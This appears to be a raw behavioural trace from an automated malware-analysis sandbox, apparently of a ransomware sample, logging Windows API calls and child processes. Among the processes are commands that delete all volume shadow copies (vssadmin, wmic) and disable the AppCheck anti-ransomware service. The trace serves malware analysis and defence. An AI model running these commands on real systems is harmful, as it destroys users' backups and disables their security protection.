dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0258.788] GetLastError () returned 0x0 [0258.788] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.789] GetLastError () returned 0x0 [0258.789] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1 [0258.789] GetLastError () returned 0x0 [0258.789] CloseHandle (hObject=0x77) returned 1 [0258.789] GetLastError () returned 0x0 [0258.797] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0258.797] GetLastError () returned 0x0 [0258.797] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.798] GetLastError () returned 0x0 [0258.798] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0xc) returned 1 [0258.798] GetLastError () returned 0x0 [0258.798] CloseHandle (hObject=0x77) returned 1 [0258.798] GetLastError () returned 0x0 [0258.805] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0258.841] GetLastError () returned 0x0 [0258.841] GetConsoleMode (in: hConsoleHandle=0x77, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0258.841] GetLastError () returned 0x0 [0258.841] WriteConsoleW (in: hConsoleOutput=0x77, lpBuffer=0x2fa3c04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa3c04*, lpNumberOfCharsWritten=0x5dbe824*=0x1) returned 1 [0258.842] GetLastError () returned 0x0 [0258.842] CloseHandle (hObject=0x77) returned 1 [0258.842] GetLastError () returned 0x0 [0258.852] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0258.853] GetLastError () returned 0x0 [0258.853] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.853] GetLastError () returned 0x0 [0258.853] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0258.853] GetLastError () returned 0x0 [0258.854] CloseHandle (hObject=0x77) returned 1 [0258.854] GetLastError () returned 0x0 [0258.861] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0258.862] GetLastError () returned 0x0 [0258.862] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.862] GetLastError () returned 0x0 [0258.862] SetConsoleTextAttribute (hConsoleOutput=0x77, wAttributes=0x7) returned 1 [0258.863] GetLastError () returned 0x0 [0258.863] CloseHandle (hObject=0x77) returned 1 [0258.863] GetLastError () returned 0x0 [0258.872] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0258.888] GetLastError () returned 0x0 [0258.888] GetConsoleMode (in: hConsoleHandle=0x77, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0258.888] GetLastError () returned 0x0 [0258.889] WriteConsoleW (in: hConsoleOutput=0x77, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0258.889] GetLastError () returned 0x0 [0258.889] CloseHandle (hObject=0x77) returned 1 [0258.889] GetLastError () returned 0x0 [0258.895] SetEvent (hEvent=0x350) returned 1 [0258.895] GetLastError () returned 0x0 [0258.895] SetEvent (hEvent=0x338) returned 1 [0258.896] GetLastError () returned 0x0 [0258.896] SetEvent (hEvent=0x348) returned 1 [0258.896] GetLastError () returned 0x0 [0258.896] SetEvent (hEvent=0x34c) returned 1 [0258.896] GetLastError () returned 0x0 [0258.896] SetEvent (hEvent=0x3b4) returned 1 [0258.896] GetLastError () returned 0x0 [0258.896] SetEvent (hEvent=0x354) returned 1 [0258.896] GetLastError () returned 0x0 [0258.896] SetEvent (hEvent=0x358) returned 1 [0258.896] GetLastError () returned 0x0 [0258.896] SetEvent (hEvent=0x35c) returned 1 [0258.896] GetLastError () returned 0x0 [0258.896] SetEvent (hEvent=0x364) returned 1 [0258.896] GetLastError () returned 0x0 [0258.897] CoUninitialize () Thread: id = 111 os_tid = 0x620 Thread: id = 162 os_tid = 0xa7c Thread: id = 163 os_tid = 0x75c Thread: id = 170 os_tid = 0x10c [0259.046] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0259.068] SetThreadUILanguage (LangId=0x0) returned 0x409 [0259.070] VirtualQuery (in: lpAddress=0x6a1e200, lpBuffer=0x6a1f200, dwLength=0x1c | out: lpBuffer=0x6a1f200*(BaseAddress=0x6a1e000, AllocationBase=0x6090000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0259.070] VirtualQuery (in: lpAddress=0x6a1e31c, lpBuffer=0x6a1f31c, dwLength=0x1c | out: lpBuffer=0x6a1f31c*(BaseAddress=0x6a1e000, AllocationBase=0x6090000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0259.073] SetEvent (hEvent=0x40c) returned 1 [0259.073] GetLastError () returned 0x0 [0259.073] SetEvent (hEvent=0x408) returned 1 [0259.073] GetLastError () returned 0x0 [0259.073] SetEvent (hEvent=0x460) returned 1 [0259.073] GetLastError () returned 0x0 [0259.073] SetEvent (hEvent=0x40c) returned 1 [0259.073] GetLastError () returned 0x0 [0259.073] SetEvent (hEvent=0x408) returned 1 [0259.074] GetLastError () returned 0x0 [0259.074] SetEvent (hEvent=0x44c) returned 1 [0259.074] GetLastError () returned 0x0 [0259.074] SetEvent (hEvent=0x458) returned 1 [0259.074] GetLastError () returned 0x0 [0259.074] SetEvent (hEvent=0x454) returned 1 [0259.074] GetLastError () returned 0x0 [0259.074] SetEvent (hEvent=0x450) returned 1 [0259.074] GetLastError () returned 0x0 [0259.074] SetEvent (hEvent=0x448) returned 1 [0259.074] GetLastError () returned 0x0 [0259.137] CoUninitialize () Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x23861000" os_pid = "0x700" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x780" cmd_line = "vssadmin delete shadows /all /quiet " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0x738 Thread: id = 13 os_tid = 0x7b8 Thread: id = 14 os_tid = 0x568 Thread: id = 16 os_tid = 0x7cc Thread: id = 17 os_tid = 0x804 Process: id = "6" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x257ec000" os_pid = "0x620" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x5c4" cmd_line = "sc config \"AppCheck\" start=disabled" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x71c [0082.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25f92c | out: lpSystemTimeAsFileTime=0x25f92c*(dwLowDateTime=0x4f4506c0, dwHighDateTime=0x1d622f5)) [0082.669] GetCurrentProcessId () returned 0x620 [0082.669] GetCurrentThreadId () returned 0x71c [0082.669] GetTickCount () returned 0x1149c5f [0082.669] QueryPerformanceCounter (in: lpPerformanceCount=0x25f924 | out: lpPerformanceCount=0x25f924*=20196200201) returned 1 [0082.670] GetModuleHandleA (lpModuleName=0x0) returned 0xf80000 [0082.670] __set_app_type (_Type=0x1) [0082.670] __p__fmode () returned 0x770331f4 [0082.670] __p__commode () returned 0x770331fc [0082.670] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xf879c7) returned 0x0 [0082.670] __wgetmainargs (in: _Argc=0xf89020, _Argv=0xf89028, _Env=0xf89024, _DoWildCard=0, _StartInfo=0xf89034 | out: _Argc=0xf89020, _Argv=0xf89028, _Env=0xf89024) returned 0 [0082.671] SetThreadUILanguage (LangId=0x0) returned 0x409 [0082.676] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0082.676] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0082.676] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0082.676] _wcsicmp (_String1="config", _String2="query") returned -14 [0082.676] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0082.676] _wcsicmp (_String1="config", _String2="start") returned -16 [0082.676] _wcsicmp (_String1="config", _String2="pause") returned -13 [0082.676] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0082.676] _wcsicmp (_String1="config", _String2="control") returned -14 [0082.676] _wcsicmp (_String1="config", _String2="continue") returned -14 [0082.676] _wcsicmp (_String1="config", _String2="stop") returned -16 [0082.676] _wcsicmp (_String1="config", _String2="config") returned 0 [0082.676] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x26f7b0 [0082.813] _wcsicmp (_String1="start=disabled", _String2="type=") returned -1 [0082.813] _wcsicmp (_String1="start=disabled", _String2="start=") returned 100 [0082.813] _wcsicmp (_String1="start=disabled", _String2="error=") returned 14 [0082.813] _wcsicmp (_String1="start=disabled", _String2="binPath=") returned 17 [0082.814] _wcsicmp (_String1="start=disabled", _String2="group=") returned 12 [0082.814] _wcsicmp (_String1="start=disabled", _String2="tag=") returned -1 [0082.814] _wcsicmp (_String1="start=disabled", _String2="depend=") returned 15 [0082.814] _wcsicmp (_String1="start=disabled", _String2="obj=") returned 4 [0082.814] _wcsicmp (_String1="start=disabled", _String2="password=") returned 3 [0082.814] _wcsicmp (_String1="start=disabled", _String2="DisplayName=") returned 15 [0082.814] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x3, dwLanguageId=0x0, lpBuffer=0x25f7c8, nSize=0x2, Arguments=0x0 | out: lpBuffer="㎀'䇰ø༄G\x01") returned 0x289 [0083.172] GetFileType (hFile=0x7) returned 0x2 [0083.172] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x25f79c | out: lpMode=0x25f79c) returned 1 [0083.172] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x273380*, nNumberOfCharsToWrite=0x289, lpNumberOfCharsWritten=0x25f7b8, lpReserved=0x0 | out: lpBuffer=0x273380*, lpNumberOfCharsWritten=0x25f7b8*=0x289) returned 1 [0083.174] LocalFree (hMem=0x273380) returned 0x0 [0083.174] LocalFree (hMem=0x0) returned 0x0 [0083.175] CloseServiceHandle (hSCObject=0x26f7b0) returned 1 [0083.391] exit (_Code=1639) Thread: id = 12 os_tid = 0x408 Process: id = "7" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x70725000" os_pid = "0x814" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005d670" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 18 os_tid = 0x8f4 Thread: id = 19 os_tid = 0x8a4 Thread: id = 20 os_tid = 0x894 Thread: id = 21 os_tid = 0x864 Thread: id = 22 os_tid = 0x854 Thread: id = 23 os_tid = 0x844 Thread: id = 24 os_tid = 0x834 Thread: id = 25 os_tid = 0x824 Thread: id = 169 os_tid = 0x614 Process: id = "8" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x24f67000" os_pid = "0x924" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x780" cmd_line = "wmic shadowcopy delete " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x934 [0102.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fa1c | out: lpSystemTimeAsFileTime=0x25fa1c*(dwLowDateTime=0x5799d6c0, dwHighDateTime=0x1d622f5)) [0102.981] GetCurrentProcessId () returned 0x924 [0102.981] GetCurrentThreadId () returned 0x934 [0102.981] GetTickCount () returned 0x114d2f9 [0102.981] QueryPerformanceCounter (in: lpPerformanceCount=0x25fa14 | out: lpPerformanceCount=0x25fa14*=22227356088) returned 1 [0102.983] GetModuleHandleA (lpModuleName=0x0) returned 0x2d0000 [0102.983] __set_app_type (_Type=0x1) [0102.983] __p__fmode () returned 0x770331f4 [0102.983] __p__commode () returned 0x770331fc [0102.983] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x30dc15) returned 0x0 [0102.984] __wgetmainargs (in: _Argc=0x31c5e8, _Argv=0x31c5f0, _Env=0x31c5ec, _DoWildCard=0, _StartInfo=0x31c5fc | out: _Argc=0x31c5e8, _Argv=0x31c5f0, _Env=0x31c5ec) returned 0 [0103.836] ??0CHString@@QAE@XZ () returned 0x31c28c [0103.836] malloc (_Size=0x18) returned 0x833d88 [0104.020] malloc (_Size=0x38) returned 0x833da8 [0104.020] malloc (_Size=0x28) returned 0x833de8 [0104.020] malloc (_Size=0x18) returned 0x833e18 [0104.020] malloc (_Size=0x24) returned 0x833e38 [0104.167] malloc (_Size=0x18) returned 0x833e68 [0104.167] malloc (_Size=0x18) returned 0x833e88 [0104.167] ??0CHString@@QAE@XZ () returned 0x31c594 [0104.167] malloc (_Size=0x18) returned 0x833ea8 [0104.167] ?Empty@CHString@@QAEXXZ () returned 0x750a0504 [0104.167] SetConsoleCtrlHandler (HandlerRoutine=0x306b6f, Add=1) returned 1 [0104.167] _onexit (_Func=0x312f1f) returned 0x312f1f [0104.168] _onexit (_Func=0x312f2e) returned 0x312f2e [0104.168] _onexit (_Func=0x312f42) returned 0x312f42 [0104.168] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0104.168] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0104.170] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0104.779] CoCreateInstance (in: rclsid=0x2d6c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x2d6b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x31c1b0 | out: ppv=0x31c1b0*=0x3c0828) returned 0x0 [0109.021] GetCurrentProcess () returned 0xffffffff [0109.021] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x25f8c4 | out: TokenHandle=0x25f8c4*=0x108) returned 1 [0109.021] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x25f8c0 | out: TokenInformation=0x0, ReturnLength=0x25f8c0) returned 0 [0109.022] malloc (_Size=0x118) returned 0x832720 [0109.022] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x832720, TokenInformationLength=0x118, ReturnLength=0x25f8c0 | out: TokenInformation=0x832720, ReturnLength=0x25f8c0) returned 1 [0109.022] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x832720*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0109.023] free (_Block=0x832720) [0109.023] CloseHandle (hObject=0x108) returned 1 [0109.023] malloc (_Size=0x40) returned 0x832720 [0109.023] malloc (_Size=0x40) returned 0x832768 [0109.023] malloc (_Size=0x40) returned 0x8327b0 [0109.024] malloc (_Size=0x20a) returned 0x8327f8 [0109.024] GetSystemDirectoryW (in: lpBuffer=0x8327f8, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0109.024] free (_Block=0x8327f8) [0109.030] malloc (_Size=0xc) returned 0x8327f8 [0109.030] malloc (_Size=0xc) returned 0x832810 [0109.030] malloc (_Size=0xc) returned 0x832828 [0109.031] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0109.031] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0109.031] free (_Block=0x8327f8) [0109.031] free (_Block=0x832810) [0109.031] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76d30000 [0109.033] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0109.034] SetThreadUILanguage (LangId=0x0) returned 0x409 [0109.035] FreeLibrary (hLibModule=0x76d30000) returned 1 [0109.035] free (_Block=0x832828) [0109.035] _vsnwprintf (in: _Buffer=0x8327b0, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x25f820 | out: _Buffer="ms_409") returned 6 [0109.035] malloc (_Size=0x20) returned 0x8327f8 [0109.036] GetComputerNameW (in: lpBuffer=0x8327f8, nSize=0x25f878 | out: lpBuffer="XDUWTFONO", nSize=0x25f878) returned 1 [0109.037] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.037] malloc (_Size=0x14) returned 0x832820 [0109.037] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.037] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x25f8b4 | out: lpNameBuffer=0x0, nSize=0x25f8b4) returned 0x0 [0109.040] GetLastError () returned 0xea [0109.040] malloc (_Size=0x40) returned 0x832840 [0109.040] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x832840, nSize=0x25f8b4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25f8b4) returned 0x1 [0109.041] lstrlenW (lpString="") returned 0 [0109.041] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.041] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0109.046] lstrlenW (lpString=".") returned 1 [0109.046] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.046] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0109.046] lstrlenW (lpString="LOCALHOST") returned 9 [0109.046] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.046] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0109.046] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.046] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.047] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0109.047] free (_Block=0x832820) [0109.047] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.047] malloc (_Size=0x14) returned 0x832820 [0109.047] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.047] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.047] malloc (_Size=0x14) returned 0x832888 [0109.047] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.047] malloc (_Size=0x4) returned 0x833fd8 [0109.047] malloc (_Size=0xc) returned 0x8328a8 [0109.047] malloc (_Size=0x18) returned 0x8328c0 [0109.047] malloc (_Size=0xc) returned 0x8328e0 [0109.048] SysStringLen (param_1="IDENTIFY") returned 0x8 [0109.048] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0109.048] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0109.048] SysStringLen (param_1="IDENTIFY") returned 0x8 [0109.048] malloc (_Size=0x18) returned 0x8328f8 [0109.048] malloc (_Size=0xc) returned 0x832918 [0109.048] SysStringLen (param_1="IMPERSONATE") returned 0xb [0109.048] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0109.048] SysStringLen (param_1="IMPERSONATE") returned 0xb [0109.048] SysStringLen (param_1="IDENTIFY") returned 0x8 [0109.048] SysStringLen (param_1="IDENTIFY") returned 0x8 [0109.048] SysStringLen (param_1="IMPERSONATE") returned 0xb [0109.048] malloc (_Size=0x18) returned 0x832930 [0109.049] malloc (_Size=0xc) returned 0x832950 [0109.049] SysStringLen (param_1="DELEGATE") returned 0x8 [0109.049] SysStringLen (param_1="IDENTIFY") returned 0x8 [0109.049] SysStringLen (param_1="DELEGATE") returned 0x8 [0109.049] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0109.049] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0109.049] SysStringLen (param_1="DELEGATE") returned 0x8 [0109.050] malloc (_Size=0x18) returned 0x832968 [0109.050] malloc (_Size=0xc) returned 0x832988 [0109.050] malloc (_Size=0x18) returned 0x8329a0 [0109.050] malloc (_Size=0xc) returned 0x8329c0 [0109.050] SysStringLen (param_1="NONE") returned 0x4 [0109.050] SysStringLen (param_1="DEFAULT") returned 0x7 [0109.050] SysStringLen (param_1="DEFAULT") returned 0x7 [0109.050] SysStringLen (param_1="NONE") returned 0x4 [0109.050] malloc (_Size=0x18) returned 0x8329d8 [0109.051] malloc (_Size=0xc) returned 0x8329f8 [0109.053] SysStringLen (param_1="CONNECT") returned 0x7 [0109.053] SysStringLen (param_1="DEFAULT") returned 0x7 [0109.053] malloc (_Size=0x18) returned 0x832a10 [0109.053] malloc (_Size=0xc) returned 0x832a30 [0109.053] SysStringLen (param_1="CALL") returned 0x4 [0109.053] SysStringLen (param_1="DEFAULT") returned 0x7 [0109.053] SysStringLen (param_1="CALL") returned 0x4 [0109.055] SysStringLen (param_1="CONNECT") returned 0x7 [0109.055] malloc (_Size=0x18) returned 0x83e868 [0109.055] malloc (_Size=0xc) returned 0x832e48 [0109.055] SysStringLen (param_1="PKT") returned 0x3 [0109.055] SysStringLen (param_1="DEFAULT") returned 0x7 [0109.055] SysStringLen (param_1="PKT") returned 0x3 [0109.055] SysStringLen (param_1="NONE") returned 0x4 [0109.055] SysStringLen (param_1="NONE") returned 0x4 [0109.056] SysStringLen (param_1="PKT") returned 0x3 [0109.056] malloc (_Size=0x18) returned 0x83e888 [0109.056] malloc (_Size=0xc) returned 0x832e60 [0109.056] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0109.056] SysStringLen (param_1="DEFAULT") returned 0x7 [0109.056] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0109.056] SysStringLen (param_1="NONE") returned 0x4 [0109.056] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0109.056] SysStringLen (param_1="PKT") returned 0x3 [0109.056] SysStringLen (param_1="PKT") returned 0x3 [0109.056] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0109.057] malloc (_Size=0x18) returned 0x83e8a8 [0109.057] malloc (_Size=0xc) returned 0x832e78 [0109.057] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0109.057] SysStringLen (param_1="DEFAULT") returned 0x7 [0109.057] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0109.057] SysStringLen (param_1="PKT") returned 0x3 [0109.057] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0109.057] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0109.057] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0109.057] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0109.057] malloc (_Size=0x18) returned 0x83e8c8 [0109.058] malloc (_Size=0x40) returned 0x832e90 [0109.058] malloc (_Size=0x20a) returned 0x832ed8 [0109.058] GetSystemDirectoryW (in: lpBuffer=0x832ed8, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0109.058] free (_Block=0x832ed8) [0109.058] malloc (_Size=0xc) returned 0x832ed8 [0109.058] malloc (_Size=0xc) returned 0x832ef0 [0109.058] malloc (_Size=0xc) returned 0x832f08 [0109.058] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0109.058] SysStringLen (param_1="\\wbem\\") returned 0x6 [0109.058] free (_Block=0x832ed8) [0109.059] free (_Block=0x832ef0) [0109.059] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0109.059] free (_Block=0x832f08) [0109.059] malloc (_Size=0xc) returned 0x832ed8 [0109.060] malloc (_Size=0xc) returned 0x832ef0 